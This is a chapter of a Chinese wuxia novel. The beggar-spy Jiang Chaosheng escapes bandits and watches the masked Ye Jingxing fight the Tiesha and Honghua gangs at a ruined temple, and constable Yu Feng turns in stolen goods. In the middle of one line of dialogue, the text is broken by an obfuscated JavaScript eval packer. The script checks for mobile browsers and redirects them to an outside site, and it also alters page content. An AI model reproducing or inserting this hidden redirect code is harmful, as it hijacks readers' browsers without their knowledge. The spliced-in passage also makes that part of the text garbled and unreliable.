他瞅着小巷里阴面墙壁上的濡湿青苔,又去蹭了蹭,抓了两把泥抹在脸上,走出巷口的时候,迎面看见一群流民正在墙角晒太阳,二话不说就插了进去:“挤一挤,挤挤暖和。” 刚做完这一切,曹表舅就从金鱼巷走了出来,他谨慎地一边走一边观察,确定没人之后,低下头,以和刚才不符合的缓慢步子离开。 江潮生紧紧地盯着他,慢吞吞地起来,拖着脚步一瘸一拐,不远不近地尾随。 这个人,非常不对劲,他刚才问喻东升有没有给她留下东西是什么意思? 这一路上,曹表舅走得忽快忽慢,一会儿走热闹的大街,一会儿走僻静的小巷,江潮生身上的衣服撕得更加破烂,简直都要光膀子了,他还顺手从路边的叫花子兄弟头上顺了顶破帽子遮住脸。 如此三番四次,正当他从拐弯处端着个破碗拄着条竹竿,颤颤巍巍走出来的时候,曹表舅突然在街中央站住了,似乎在等待什么。 难道被发现了?江潮生心下一紧,却没有慌乱,继续往前走,还扯着沙哑的嗓子叫唤:“行行好吧,给点钱吧。” 有什么东西从天而降,落在他的碗里,却不是钱,也不是肉包子,而是一张纸。 江潮生惊讶地抬头望去,漫天都是白纸黑字的帖子带着劣质油墨的味道纷纷扬扬地落下来,犹如在四月天里下了一场大雪。 “啥玩意儿?上面写啥了?” 有人已经抢了一张在手里大声地念出来:“铁杀寨帮主雷大石,向公道堂下战书!金满堂喻东升乃我结拜兄弟,多年情谊,江湖义气,今喻兄被公道堂宵小暗害,吾与其不共戴天……” 江潮生惊惶四顾,触目所及都是人抓着帖子在读,声音此起彼伏,那些不识字的就跟在旁边听,满脸都是兴奋。 他一颗心直沉下去:不好!这不就坐实了喻东升勾结盗匪的罪名? 江潮生忽然惊惶地发现,被飞贴一打断,刚才他跟踪的曹表舅已经不见了! 好在这条街不长,他火急火燎地拖着竹竿,也不装瘸了,捂着帽子向街口飞奔,好容易有点线索,可得抓住了! 江潮生冲出街口,突然尴尬地停住。 他要跟踪的那个人,正站在僻静的墙边,好整以暇地挽着袖子,此刻曹表舅哪里还有刚才面对喻枫慈祥温厚的样子,平平无奇的脸上浮起了一丝冰冷的杀机:“找我啊,小兄弟?” “没,没啊!”江潮生嘴硬地说,转身调头就跑,外面繁华大街都是人,只要能跑到十字路口—— 后颈一痛,他失去知觉,重重地向前扑倒。 遍布江洲城的飞贴,自然也到了叶景行手上,他看着帖子,目光中满是嫌恶,香堇急忙用眼神示意陶陶:“拿在帘子外读了便罢,什么脏东西也奉到公子面前。”又赶紧把香炉挪了挪。 “这么说,喻东升跟这个铁杀寨,还真是牢不可破啊。”叶景行用手撑着头,漫不经心地说,“雷大石,什么来头?” 陶陶声音清脆地背诵:“雷大石,江湖诨名血刃狂斧,最早是独行大盗,后来纠集了十几个兄弟,组成血云十八骑,在西北劫掠商队,积攒身家之后返回中原为患。” 她停下补了一句:“照这一看,齐大户的灭门惨案八成就是铁杀寨做的。” “抢劫完了,就拿来给金满堂销赃,真是好无本生意。”叶景行抚掌而笑,“我让他们多活了几天,他们倒自己找上门来了,说,决斗是什么个章程?” 陶陶连忙又翻出一张纸,比飞贴要精致许多,雪白的信笺上用秀丽的簪花小楷写着几行字:“万花楼新放出来的暗红,说决斗地点就在金满堂的秘库处。” 叶景行蹙眉不解:“秘库?” 香堇端过茶来,低声提醒:“他们蛇鼠一窝,当然知道在哪里,等高远回来,让他去探查一番,我们做好准备再去不迟。” “现在全江州都盯着公道堂敢不敢应战,哪里还能等下去。”叶景行眉头一皱,“他的人手,你不能调用?” 香堇低眉顺眼地回答:“我和高护卫彼此不相通,免得互相勾结,这是王爷立下的规矩。” 叶景行不说话了,目光冷淡地隔着窗户看向外面,院子空荡荡的,并没有一个江潮生在卖力地擦着青石地。 “阿生呢?”他明知故问。 香堇赶紧回答:“出去就没回来!陶陶跟了半截,看到他从丝线店出来,进了鼎香楼,就知道这小子不老实,八成就是这个什么铁杀寨的内线,回去通风报信去了。” 陶陶有些不服气:“我们已经伪装的很好了,不知道哪里露出了破绽。” 香堇敲了一下她的头:“笨!他是没发现什么,所以半道溜了,省的留下来擦地嘛。” 叶景行又问:“长寿有何异动?” “长寿今天倒是很老实,一直没出门,不过,前几天我已经把他摸透了,他八成是官府派来的,跟我出门的时候,趁我瞧不见,跟巡街衙役勾勾搭搭,好像还收了银子!” 叶景行蹙眉摇头:“这就证明官府自始至终没有放弃过对我的怀疑,更不可轻举妄动。香堇,你去衙门报个走失人口,如果阿生真有什么见不得光的身份,正好让六扇门的人有点事做。” 喻枫被是两名自己的属下客气地上门给‘请’回府衙的,听完相捕头的陈述,又亲眼看了飞贴,一口否定:“我从来没听说过什么秘库。” 李师爷在一边劝:“喻捕头,你是独女,你父亲总要给你留一些东西的,或者是一句话?你再仔细想想?” 喻枫冰冷的目光扫过去:“没有,我爹每月会给我十两零花钱,作为一个当铺的东家,他掏这个数目并不过分,你们可以去我老家查看,一栋农家小院,几亩田,就这些了。要说他给我留下什么话……我最后一次见他,是他被杀前一天,他到我院子里给我做了一顿饭,还说做完这笔生意,就能腾挪出一笔银子继续给城外的流民舍粥了。” 她表情悲愤,声音里仿佛都带着血气,但相捕头和李师爷都是刑名老手,心硬如铁,只是继续劝说:“铁杀寨你一定有所耳闻,是远近闻名的江洋大盗,血债累累,杀人如麻,他们如今要向公道堂宣战,两方打起来的话必定殃及无辜百姓,喻捕头,你身为公门中人,不可为了一己私愤而罔顾职责。” 喻枫震惊地看着他:“相捕头,我若是为了私愤,我就更应该告诉你们秘库所在,马上请纪大人调府兵,将他们一网打尽!” “所以,昨天从你家里出来的那个中年人是谁?” 相捕头突如其来的一问,喻枫愣了,醒悟过来的时候,涨红着脸站了起来:“你派人监视我!?” 简直一腔郁闷无处发泄,她一向敬重相捕头,也认定他是个精明强干的好上司,可是他居然怀疑自己? “不错。”相捕头毫不动容,“喻枫,也就是你这五年来一直勤勉敬业,纪大人都肯为你担保,否则,你以为你还能自由站在这里?” 李师爷见气氛凝重,出来打圆场:“喻捕头,并不是监视你,而是相捕头担心公道堂也知道你的身份,这是保护你啊。” 喻枫憋闷地吐出一口浊气,也知道现在不是发作的时候,只能冷冷地说:“是我的一个远房表舅,在老家县城里开铺子做生意,和我爹有些交情,算是唯一还走动的亲戚。” 也不用相捕头再问,她一股脑儿地交代:“他来找我,是想把我带走——” 突然,曹表舅的那句话浮现在脑海里,喻枫怔住了,喃喃地说:“他也问起过,我爹有没有给我留下什么东西。” 当时乍听,似乎是寻常的关心话,但是和手中的飞贴一对照,喻枫可就觉得怎么有点不对劲。 江潮生迷迷糊糊醒来的时候,先闻到一股熟悉的破败腐朽气息,都不用睁眼就知道,是没有人居住的破庙塌屋,他可太熟悉了。 他也不敢睁眼,谨慎地竖着耳朵四处听,自己被麻绳捆得结结实实,身处的墙壁外面传来几个男人的大笑声,声音粗犷,言语粗俗,还夹杂着外地口音。 “可惜什么?出不了手就是破烂,早点甩出去,省得占地方!” “唉,老大也真心狠,这趟路堵死了,以后兄弟们的花销可从哪儿来?” “急什么,老大说了,咱们又搭上了别的线。” 江潮生凝聚注意力仔细倾听,终于大差不差听懂了,这群人是要在这里假造个宝藏,和金满堂牵扯上关系,然后引得公道堂的人来! 他心急如焚,把手伸到后面在墙壁露出的砖茬处拼命磨着。 虽然不知道冒充公道堂的人是谁,有什么目的,是怎么拿到判仙笔的,但无论如何,那个人不应该折损在这群土匪手里。 他眼前突然一亮,是一个穿着皮甲的男人举着火把走进来,看他瞪着大眼在地上蠕动,直接上来就踹了一脚:“老实点!” “大哥!不,英雄,饶命!”江潮生没口子地求饶,“是不是有什么误会啊,我自问没有惹到诸位英雄,为啥要抓我啊?” 皮甲男面露凶相,作势又要踹:“怨你命不好呗!我就看你们城里人生气!每天吃香喝辣,都不是好东西。” “英雄,您仔细看我这样子,我还不如您齐整呐!”江潮生叫苦连天,“我就是江洲城里一个叫花子!穷人何苦难为穷人啊!” 皮甲男借着火把看得清楚,江潮生浑身衣服破破烂烂,胳膊都露出来半截,看着的确穷困潦倒,自己都有些不好意思起来:“嗨,那我也不知道啊,五当家把你绑回来的,只说让我看着,瞧你这样子,家里也不像能掏赎金的。” “莫非绑错了啊!我单帮一人,六亲灭绝,你们杀了我也拿不到钱的,不如……”江潮生眼珠一转,谄媚地建议“不如收我入伙?以后我就跟你们干了!一起发财一起快活。” 皮甲男迟疑了一下,回头望望外面:“不行啊,五当家没说怎么处置你,要不你等等,等我们做完这笔生意,我替你问问?” 江潮生做出欢喜的样子,没口子地说好话,一时竟然哄得皮甲男眉开眼笑,坐下来跟他聊起来。 喻枫把自己知道的事情都白纸黑字地写了下来,相捕头还是给了她三分面子,没让她签字画押,但也挑明了让她暂时居住在府衙后面的官舍里,金鱼巷就别回去了。 正从签押房出来,远远地看见窈窕人影走出府衙,相捕头记性极好,沉声叫过值班的衙役:“那不是叶公子的丫鬟吗?她来府衙做什么?” “是来报案的,家里的仆人私逃了。”衙役赶紧回答,“叫江潮生,我已经登记过了。” “唉,流民四起,人心浮动,这个时候失踪,上哪儿查去。” 喻枫站在旁边,很想说一句:不必找了,江潮生一定是脚底抹油溜了,他那个人,最是胆小怕事,懦弱的性子,骤然听到这么大的秘密,怕不是要到乡下去躲个几天才敢回江州,再见面的时候,一定又像什么都没发生过一样,嬉皮笑脸。 算了,到底也是自己没对他说实话。 在所有人都翘首期盼,等着‘公道堂大战铁杀寨’的戏码上演的情绪里,时间仿佛过得特别慢。 高远终于风尘仆仆地赶回来,没等叶景行发作,先跪下请罪:“王爷躲留了属下一日,叫属下给公子带了支老参,说是辽东刺史送的,年份难得,连皇后那里也只蒙圣上赐了两支。” 叶景行看着他从包袱里拿出盒子和信,先拆开信封仔细地看过,看到养父嘉奖鼓励之语,唇边终于泛起一缕微笑:“只不过做了些小事,当不得父亲这么夸奖。” 高远把盒子交给香堇,免不得又刺了一句:“听说我不在身边,公子要打听个地方都不能?香堇姑娘束手无策?” 香堇抱着盒子冷笑着反驳:“你一走了之,这里四下都是监视的耳目,前儿还跑了一个呢,我顶着丫鬟的名头,怎么出门探查?不然,下次你走之前,先把你的人手交给我?免得耽误公子的事,大家须不好看。” 高远不屑一笑:“交出来容易,怕你身娇体弱,掌控不了那群大男人。” 他觑到叶景行已经抬起眼睛不悦地看过来,急忙躬身禀报:“公子放心,在路上我已经得了消息,派人去查了,马上就能有结果!” 他咧嘴一笑,雪白牙齿闪着凶光:“什么铁杀寨,敢来我们就敢杀个片甲不留,我就说呢,金满堂不至于就那点银子,果然还有藏起来的!” 高远不愧是叶晟特地拨给叶景行的心腹高手,没到半天,就把一个地点递到了叶景行手里:“我在万花楼买了消息,和手下探查的线索正好对上!西郊龙王庙附近有不明身份的人出没,江湖上也一直传说,西边的连云山脉就是铁杀寨的大本营。” 叶景行正在院中赏花,没了江潮生勤擦地面,微风拂过,昨天盛开的鲜花上多少蒙了一层浮尘,他伸出手指抚弄,轻慢地揉乱一地落红:“那就走吧,人家怕是已经等候我们多时了。” “是!”香堇恭敬点头,却被叶景行阻止,“你和陶陶守家,让高远给我掠阵就行了。” 香堇立刻紧张起来:“公子,眼看就是月圆之夜,公子所修炼明月诀每逢月圆真气就会躁动,我心里不安……” “无妨,我修炼多年已经习惯。”叶景行接过帕子擦去指尖上的花汁,“公道堂以往行事,也多是独来独往,我们若是每次都倾巢而出,容易被人疑心,再说,区区土匪,我一人足矣。” 江潮生确实已经等候多时了,过去的三天他度日如年,一会儿想自己被绑架了,喻枫会不会追过来,一会儿又想,自己只是买个丝线就一去不回,香堇一定会起疑心,以后还怎么潜伏在叶景行身边? 同时他还要强打精神应付那个叫罗山的土匪喽啰,那家伙脑子确实不大好,还真的去问了前面喝酒吃肉的大土匪们能不能收江潮生入伙,江潮生竖着耳朵听到哄堂大笑,又见他脸色难看地进来,知道自己凶多吉少。 他装作不知道,还一脸天真地畅想落草上山之后的美好日子,给罗山描绘:“我爹从前是个木匠,我也学了两手,以后进了山寨,别的不说,修个桌子打个床啥的,都只管找我,我不吃闲饭的!” 罗山看着他的眼神越发愧疚,叹着气,去把捆住他双脚的麻绳给松了松:“你先松快松快,没几天了。” 就在这天傍晚,前面好像格外热闹,土匪们纷纷松了一口气,嚷嚷着‘可算来了!’‘等得毛都长了’,院子里此起彼伏地磨兵器,砸东西,酒气浓得江潮生所在的后廊房都闻得到。 他蜷缩着身子待在墙角,眨巴眼睛紧张地思考着,罗山悄悄走进来,看他这样子,又叹了口气,从怀里掏了个窝头递到他嘴边:“吃吧,吃饱了就不饿了。” 这句话的潜台词江潮生很清楚:这一顿吃完,就再也不会饿了。 他感动得热泪盈眶:“罗大哥,你真是个好人。” 罗山眼神躲闪,不敢正眼看他,只是一个劲地把窝头凑过来:“快吃。” 就在他低头的一瞬间,江潮生屏住呼吸拼尽全力一挣,双手绳索应声而开,不等罗山做出反应,拳头挥出,已经狠狠地揍上了他的脸部! 西山龙王庙,当年是海龙帮邓老大出资修建的,他的船运生意通九江达四海,自然是要请求龙王爷保佑,四时八节都带着徒弟儿子来虔诚烧香叩拜。 谁知道邓老大全家没死在水上,反而死在了岸上,不能说龙王庙不灵验,但没了邓老大,也没其他人愿意来拜,龙王庙很快就衰败了,如今叶景行远远看到的,只是一片连院墙都塌了的破庙。 夜风吹过,山间的树叶哗啦啦作响,配着这片断壁残垣,荒无人烟的西山,简直会闹鬼也不为过。 他脚尖轻点,整个人无声无息地从林间飞过,犹如一只巨大的夜枭趁着夜色出门捕猎。 刚刚落地,只听见“轰”地一声,破庙里四面八方都点起了松油火把,熊熊燃烧着,照得十几条粗豪汉子手里的斧头大刀闪闪发亮,为首之人断喝一声:“好家伙!你怎么才来!” 这一声充满怨恨。 叶景行面具遮脸,右手一挥,判仙笔盘旋而出,黑色陨铁中闪烁无数金沙,在火光下更加耀目:“哪个是雷大石?” 大汉吼声如雷:“当年公道堂都不能奈何我们血云十八骑,何况如今你这假冒的小毛贼,也配我们寨主出面?俺乃铁杀寨虎六堂主,特来会会你的判仙笔!” “那你就替他受死!” 叶景行断喝一声,运动内力催动,判仙笔无风自起来去如飞,带动闪耀金沙在空中化过一段璀璨光芒,直接对着开口之人胸口刺去! 首领喝了一声,挥动大刀阻挡,噹地一声金石相击之下,判仙笔轨迹奇绝刁钻,被挡开的瞬间已经转向他左后方的一人,嗖地一声带走他脸颊一片血肉,疼得他大叫起来:“啊!点子硬!” 隔得那么远,叶景行听不到,在队伍后面两人正急促地交谈:“糟糕!那个替死鬼跑了!怎么办?” 他们嘴里跑掉的替死鬼,此刻正趴在倒塌的偏殿大梁和断壁形成的角落里,聚精会神地看着外面的一切。 江潮生没有跑,不仅仅是因为他想留下来亲眼看一看判仙笔,而且他心里始终有一个很大的疑团:之前他偷听到的,土匪们不像是在飞贴上写的那样要跟公道堂来一场生死血战,反而嘻嘻哈哈,太轻松了…… 此刻,听到提起替死鬼,他眼神闪烁,悄悄又往里缩了缩。 下一秒,视野里闯入一道鬼魅也似的身影,手中一杆黑金笔翻飞,笔势奇诡,江潮生震惊得眼睛都瞪圆了。 是判仙笔!他不会认错的!那就是唐家的判仙笔! 叶景行悍然闯入人群,黑衣黑笔,长身玉立,站在破庙当中,透过面具横扫一眼周围,眼神中是掩饰不住的厌恶:“齐大户家灭门,是不是你们干的?” 不少人后背都渗出了冷汗,明明自己是包围的一方,却怎么觉得对方才是掌控生死的存在,为首大汉刚才躲避不及,肩头被笔尖戳了个血洞,色令内荏地说:“是又如何?江湖事江湖毕,你还要找官府抓我们不成?” “不如何。”叶景行抬头看了一眼,深蓝的夜空中,一轮明月高悬,正是十五,他毫无保留地催动丹田内力,灌注于判仙笔上,黑金笔杆似活了一般,在他掌中跃跃欲试。 “都得死!”他冷喝一声,满天金色光华闪过,正是雨花笔法第七式:暴雨梨花深闭门。 铺天盖地的内气凝聚成无形利箭,犹如暴雨倾盆而下,无处躲藏,场中所有人都招架不住,惨叫声四起,鲜红的血喷溅在空中的一瞬间,恰似开满枝头的繁花随风摇曳。 江潮生看得心旌动摇:笔落如雨,血出似花,这就是唐家的雨花笔法!他绝不会认错的! 只是好像内力招式上有所不同,唐无双所修习的心法乃是取自西北沙漠,浩瀚广袤无边无际,包围过来让人无处可逃,黑衣人的心法却如同明月高悬,水银泻地,柔和中透着处处杀机。 他真的是唐无双的传人吗?那怎么只有判仙笔,没有修习配套的心法? 此时场中已有伤亡,首领嘶吼道:“分头!扯呼!” 仿佛就在等这一句,场内凡是还能动的都麻利起身,向各个方向脚底抹油逃走,剩下几个动弹不得的,在地上无望挣扎,眼中露出深深的恐惧。 叶景行黑色的靴子踩踏在瓦砾上,手中黑金笔转动,整个人就像夜晚降世的阎罗王,声音里都透着杀气:“说,秘库在哪里?” “就,就在大殿龙王像后,有个地窖……”土匪吓破了胆,结巴着说,“别杀我……” 叶景行淡漠地收起了判仙笔,抬手一指将他打晕。 这时候旁边树梢上又落下一人,黑巾蒙面,单手抱剑,声音粗豪:“大哥,这就起赃吗?” “你不去追逃走的人,回来作甚?” 后来者满不在乎:“大哥放心,我手下的人已经去追了。” 如果说刚才江潮生太紧张,亦或者黑衣人说话太少,他分辨不出来,两个人站着只多说了两句话,就把他震惊得无法言语。 叶景行?高远!? 拿着判仙笔的人是叶景行?那个风吹一下都要皱眉咳嗽的病弱公子? 他叫景行,他拿着判仙笔,他还会雨花笔法,他……难道就是唐景行? 十五年的颠沛流离让江潮生深刻体验到什么叫人心险恶,明明眼前人可能是自己失散的好兄弟,他却想得更多,更深远。 唐景行为何变成了叶景行,成了京中来的皇亲国戚,当时他是被人救走的吗?那个救他的人手里又怎么会有唐无双的黑金面具和判仙笔呢?这些难道不都应该锁在官府的库房里当做罪证吗? 叶景行突然身形一顿,习惯性地以袖掩口,咳嗽了起来,他咳得很厉害,高远赶紧趋前低声说:“回去罢,这里有属——我来收尾,放心,那些逃走的土匪我一个都不会放过。” 言出法随,高远刚说到一半,眼睛就直了,此刻破庙里火把还在燃烧,清清楚楚地看见刚才一边喊得很大声一边逃走的土匪们,此刻又屁滚尿流地逃了回来!好像有什么人在后面追赶一样。 叶景行赞许地看了一眼高远:“不错。” 高远在面巾下张大了嘴巴,完全呆住了:这和说好的不一样啊! 下一瞬,拼命逃向破庙的土匪们背后传来嗖嗖的声响,有的抢先一步躲到断壁残垣后面逃过一劫,有的不知道被什么所制,利器刺入血肉的声音和惨呼声混杂在一起,随即被拖拽向黑暗之中,再无声息。 江潮生心内慌乱起来:难道他判断错误,铁杀寨并不是把这场决斗当成儿戏,刚才的只不过是诱饵,找十几个炮灰来骗公道堂所有人现身的? 知道了手执判仙笔的黑衣人很大可能是唐景行,他焦灼地开始担心,浑然不顾自己也身处其中,同样危险。 夜风拂过,带来一股浓厚的血腥气,叶景行扬起下巴,冷笑一声:“还有后手吗?” 高远则紧张起来,比刚才警惕了许多,突然!从斜后方抛来几根绳索,前端是锐利至极的四趾鹰爪,火焰下闪着寒光,向着他和叶景行的肩背抓去。 他不假思索地挥剑挡开,可黑暗中更多的利爪飞来,高远心里暗自懊恼,粗声道:“什么见不得光的东西,滚出来!” “桀桀桀。”四面八方响起怪笑,破庙周围的丛林里稀稀拉拉地亮起了火把,越来越多的人影显现,不像铁杀寨的土匪们高大壮实,他们大多身材中等矮小,面色黧黑,手中的兵器也不统一,中间约有十几个人手里上下抛着绳索,上面飞爪锐利,寒光凌冽。 他们并不发声,整齐划一地往前行进,逐渐包围破庙,手里的绳索威吓般地挥舞得更快。 走得近了,叶景行注意到,虽然衣着极不统一,但每个人都在鬓边插了一朵水红的蓼花,鲜花娇嫩,衬着黧黑的面色,手中带着血腥的兵器,综合在一起,形成一股诡异的气氛。 “红花会的兄弟。”高远凝神以待,扬声道,“今日之事和你们不相干,为何出来作乱?” 江潮生在心里已经把高远骂了一万遍:他不是说有人手去追土匪了吗?那些属下就没有一个发现周围埋伏着红花会这一百多号人吗? 满场沉默,只有火把哔哔啵啵燃烧着的声音,高远终于忍耐不住,暴躁地开口:“你们意欲何为!划出道儿来!” 终于,有一个似乎是头目的人跨前一步,冷笑着说:“龙王庙是我们的地盘,你们跑到这里来打斗,应该给我们一个交待吧,怎么还问起我来了?” 叶景行沉声道:“我乃公道堂中人,是被铁杀寨所约,并非擅自来此。” “哎!别扯没用的,我管你们是谁,在龙王庙见血,就是藐视龙王爷,就是砸江上兄弟的船!几万人靠这条江吃饭,龙王爷发怒,那可不是小事,也罢,拿出个三五万两银子烧香给龙王爷请罪,今天就让你们走。” 叶景行反而不急了,负手而立,淡然说:“我没带银子。” 身后几个人嘀嘀咕咕,手上还沾着新鲜的血,大概是从刚才的土匪嘴里掏出了实话,头目听得点头,回身一扬手:“那你们走吧。” 高远松了口气,叶景行却摇了摇头,冷笑道:“我们走了,你们就可以起赃了,对吧?” “嗨,说的这是什么话,我们红花会的地盘上不管埋了什么,都是属于我们的,再说了,喻东升不都死了吗?你杀的啊,他死了,留下的东西就是无主之物,合该归我们。” 高远急促地低声说:“这次认栽,先走为上。” 叶景行挥开他,轻蔑地看着头目:“喻东升是死了,他的东西是贼赃,是他勾结铁杀寨劫掠的罪证!我杀他是因为他暗中指使盗匪劫掠,有违江湖义气,你们再不退后,就一样下场!” 他最后一个字落下的时候,所有红花会的人都动了!齐齐地喊了一声:“杀!”就疯狂地冲了过来。 高远心知不能逃,咬牙挥剑迎上,空中绳索乱飞,尽数向着叶景行当头罩下,犹如一张罗天大网,要将他罩住撕成碎片。 江潮生紧张地抓住了面前的泥土,却见叶景行身形晃动,巧妙至极地躲开了所有飞爪的袭击,真气灌入,判仙笔离掌而出,正是雨花笔法第六式:霎霎高林簇雨声! 这一式,正合适在荒郊野外,密林环绕周围施展,无数真气借由黑金笔射出,密如急雨,触碰到枝叶树干竟又反弹回来,旋转回荡,铺天盖地织就一张无形大网,红花会成员一旦触碰到,就像被挂在网上的鱼儿,伤鳞贯腮,皮开肉绽。 红花会人数比刚才的土匪多了几倍,但叶景行同样游刃有余,面具下的脸庞无惊无喜,无惧无狠,反而带着淡淡的厌倦。 人为财死,地下藏着的赃物上,不知道沾染了多少人的鲜血,如今还要再增加一抹。 就在他穿行在破庙之间,判仙笔如有神助,在空中飞旋如龙的时候,突然,叶景行丹田一窒,一股尖锐的刺痛自心口喷涌而出,疼得他脚步踉跄,险些稳不住身体。 天上的圆月散发微微光晕,仿佛引动了身体内血气的潮汐,一涨一落,心脏跟着砰砰直跳,甚至连同外衣都一起跳动起来,叶景行头晕目眩不能自持。 以往每到月圆之夜,他都是盘膝打坐静心修行,消减明月诀带来的不良影响,并未感到如何严重,但今日一旦反噬原来后果如此严重! 他疼得无法呼吸的时候,还是因着警惕本能猛地向左侧身一躲,一条飞爪险之又险地出现在刚才他站立的位置,把他衣袖挂了一截下来,光洁白皙的手臂上划破一条鲜红血痕。 叶景行勉力躲过刚才那一击,心脏越发跳动得狂野,耳朵里什么声音都听不到了,只听见天地之间血气倒流的声音,甚至让他连站立的力气都没有,狼狈地单膝跪倒。 周围的红花会帮众,本来已在溃逃边缘,突然见到黑衣杀神踉跄倒地,以为是龙王爷保佑,欢呼一声,已经有一个胆大地冲上前去,高高举起手里的单刀,就要狠狠劈下。 他跑得快,后面也有跟上的,一个脸上抹得乌漆嘛黑的帮众跟在后面,赤手空拳,喊得却比谁都大声:“砍!砍死他!” “嘿!还有抢人头的!?”先头那个不乐意了,回头怒吼,“老子的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598498|171954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劳你也敢抢?你是哪个分舵的窝里鸡?!” 话未说完,那个黑脸帮众已经冲到了面前,出乎意料不是冲着叶景行,斗大的拳头反而在他面前闪现,甚至挂动了凛凛风声! 这一拳,江潮生使出了毕生的修为,他狠狠一拳放倒大汉,劈手夺过手里的刀,站在跪地喘息的叶景行面前,舞得虎虎生风,一边还要喊:“龙王爷显灵啦!” “去你妈的!”站在附近把一切都看得清楚的帮众哪里会信,纷纷怒喝着冲上来,还有几条带着飞爪的绳索已经脱手,向着江潮生和叶景行袭来。 危急时刻,叶景行强行运功,压下翻涌的血气,颤抖着右手举起判仙笔,真气断断续续地灌入,黑金笔在指尖灵活旋转,正是雨花笔法第一式:急把银河倾做雨。 这一招是起手式,若在平时,轻松施展完全不费力,但他此时心脏剧痛,真气都不能持续灌注,眼看黑金笔的旋转速度忽快忽慢,周身金沙明灭不已,竟有断招的迹象—— 江潮生急了眼,一把从后握住他的手掌,十指交扣,拼尽全力将丹田内微薄的真气灌入,终于堪堪将这一招发出! 金沙闪亮,判仙笔飞旋而起,真气化成的如雨攻势将所有呐喊着围拢上来的帮众尽数覆盖,惨呼声此起彼伏,全部倒地不起。 江潮生松了一口气,突然感受到手指接触的部分刚才还在微微颤抖,此时却稳定下来,他心知不好,下一瞬就被强大真气轰离了叶景行的身畔,狼狈地滚落在地。 叶景行大口喘着气,终于暂时控制住了明月诀的反噬,真气重回丹田经脉,耳朵里的心跳声渐弱,双眼也逐渐清明。 是生死关头的错觉吗?刚才好像有一只手握住了自己的手? 一定是错觉,且不说周围都是敌人,就算有人相救,但怎么会助自己发出雨花笔法? 这个世界上……会雨花笔法的人,除了自己,都死了。 他冷冷地睁开眼,看着满地呻吟翻滚的红花会帮众,刚想上前一步,运转真气之际,周身血气又开始翻涌,再看向远处艰难支撑的高远,叶景行停止了动作,返身前去支援。 红花会的人本来就觉得吃力,一看这个强敌再度袭来,顿生退意,从四面八方都响起了尖利的口哨声,像来时一样突然地隐入了密林当中。 这方便了江潮生,他刚才落地就赶紧打滚混入倒地伤员之中,发现叶景行并未注意到这里,赶紧不顾形象地四肢着地,借着断壁残垣的掩护,默念‘龙王爷保佑’,飞快地溜了。 黑夜过去,日头初升,喻枫穿戴利落,手按单刀,按时出现在官舍通往府衙的街上。 她搬来官舍之后,心照不宣地也不再外出巡街,而是改在府衙内处理事务,变相地把自己始终置于相捕头监督之下。 左右无事,喻枫在附近的摊子买了一份米糕,正吹着热气往府衙大门走,远处一个七八岁的小乞丐趿拉着鞋跑过,不知道绊到哪里,噗通一声重重地摔在地上。 大约是摔重了,小乞丐呜呜地小声哭泣,扎手舞脚却爬不起来,此时大街上空荡荡的,只有附近墙角缩着一个流民,头戴破斗笠,身上衣服披一块挂一块,他手脚蜷缩着一动不动,任凭小乞丐在面前哭,也没有要伸把手的意思。 喻枫竖起眉毛,大步走过去,拎着小乞丐的后衣领把人拽起来站好,小乞丐一边哭,一边抬眼看她,泪水把脸上的污泥冲得乱七八次,更显得可怜。 “给。”喻枫把手里的米糕递过去,小乞丐眨巴了两下眼睛,一把夺过去,转身飞快地跑走,动作之利落好像刚才的伤都不存在了一样。 喻枫心里不觉得好笑,只觉得悲哀,她摇摇头,正要走开,耳边却听见一个熟悉的声音:“喻捕头,不要动,听我说。” 喻枫僵住了,用余光扫了一下,方圆十丈以内,除了她自己,就是那个窝在墙角的流民。 “江潮生?”她不大相信地问。 “不要相信你表舅,他是响马,速去西山龙王庙,金满堂秘库,公道堂和铁杀寨已经打完了,还有红花会。” 喻枫惊得差点转身,又稳住了,低声问:“为什么告诉我?” “你们不去,江湖道就会抢先发布消息了,官府总是慢人一步,不大好吧。” “为什么是我?!”喻枫加重了语气,“那天你都听到了吧?其实我爹是喻东升,你又说我表舅就是土匪,难道你不怕……” 她说不下去了,江潮生的声音却依然稳定而温和:“我相信你啊。” 突如其来的泪水盈满眼眶,喻枫倔强地抬起头不让眼泪掉落,声音发颤地问:“谢谢你。” 谢谢你相信我,而我却一直不曾相信过你,甚至还怀疑你不敢冒风险,半路跑掉了。 江潮生低着头,用斗笠遮脸,真心而愉悦地笑了起来:“喻捕头,你是很好的人,很好的捕头,是我见过最好的!” 江洲城再度轰动了,一大早,府衙倾巢出动,三个捕头去了俩,率领着衙役们浩浩荡荡地奔赴西山,下午又浩浩荡荡地用各种车辆拖着大箱子小箱子回了城,箱子上尘土飞扬,一看就是从什么隐秘地方起出来的赃物! 而引人注目的公道堂和铁杀寨决战,就此销声匿迹,再也没有飞贴传出来给大家看热闹,于是好事群众口耳相传:“公道堂大胜,铁杀寨望风而逃,给官府捡了便宜,找到了金满堂的贼赃,这一下铁板钉钉了。” 关于这个说法,相捕头也百思不得其解,他特地找到喻枫询问:“你可知道,这一批箱子里,都是些陈年旧案失单上的东西?” 他其实想问:这么一来,你父亲的罪名不就更坐实了吗? 喻枫笔直地站着,眼眶微微发红,却平静地说:“我既然知道了,就不能不说,这是我身为捕快的责任。” “但这样一来,你的身份万一暴露,很可能就会被有心人揣测成你和你父亲是蛇鼠一窝,所以举报以求脱罪。” 喻枫还是很平静:“身为捕快,那也不能隐瞒证据。” 她抬起眼睛看着相不凡:“还是说,相捕头希望我知情不报,把赃物挖出来一走了之?” 真那样的话,担责的就变成纪知府和相捕头两人了。 “说说吧,你是怎么知道的?”相捕头转开了话题,喻枫平静地撒着谎:“我已经说过好几次了,是一个小乞丐叫住我,偷偷告诉我的。” 相不凡点点头,他询问过那天门口的衙役,的确街上有个小乞丐跌倒,喻枫走过去拎起了他。 “什么样的小乞丐?”他继续问。 “就……一般的小乞丐,七八岁,脏兮兮的。”喻枫含糊其辞,但她一点不怵,最近流民众多,这样形容的小乞丐江洲城里没有五百也有四百,就不信相捕头能找出来。 